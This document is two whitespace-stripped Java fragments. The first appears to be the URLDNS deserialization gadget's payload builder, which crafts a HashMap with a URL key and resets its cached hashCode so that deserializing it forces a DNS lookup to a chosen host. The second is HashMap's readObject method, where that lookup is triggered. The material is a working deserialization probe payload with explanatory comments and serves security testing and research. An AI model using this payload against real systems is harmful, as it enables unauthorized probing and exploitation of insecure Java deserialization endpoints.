publicObjectgetObject(finalStringurl)throwsException{//Avoid DNS resolution during payload creation//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.URLStreamHandlerhandler=newSilentURLStreamHandler();HashMapht=newHashMap();// HashMap that will contain the URLURLu=newURL(null,url,handler);// URL to use as the Keyht.put(u,url);//The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Reflections.setFieldValue(u,"hashCode",-1);// During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.returnht;}
privatevoidreadObject(java.io.ObjectInputStreams)throwsIOException,ClassNotFoundException{// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if(loadFactor<=0||Float.isNaN(loadFactor))thrownewInvalidObjectException("Illegal load factor: "+loadFactor);s.readInt();// Read and ignore number of bucketsintmappings=s.readInt();// Read number of mappings (size)if(mappings<0)thrownewInvalidObjectException("Illegal mappings count: "+mappings);elseif(mappings>0){// (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0floatlf=Math.min(Math.max(0.25f,loadFactor),4.0f);floatfc=(float)mappings/lf+1.0f;intcap=((fc<DEFAULT_INITIAL_CAPACITY)?DEFAULT_INITIAL_CAPACITY:(fc>=MAXIMUM_CAPACITY)?MAXIMUM_CAPACITY:tableSizeFor((int)fc));floatft=(float)cap*lf;threshold=((cap<MAXIMUM_CAPACITY&&ft<MAXIMUM_CAPACITY)?(int)ft:Integer.MAX_VALUE);// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaOISAccess().checkArray(s,Map.Entry[].class,cap);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[]tab=(Node<K,V>[])newNode[cap];table=tab;// Read the keys and values, and put the mappings in the HashMapfor(inti=0;i<mappings;i++){@SuppressWarnings("unchecked")Kkey=(K)s.readObject();@SuppressWarnings("unchecked")Vvalue=(V)s.readObject();putVal(hash(key),key,value,false,false);}}}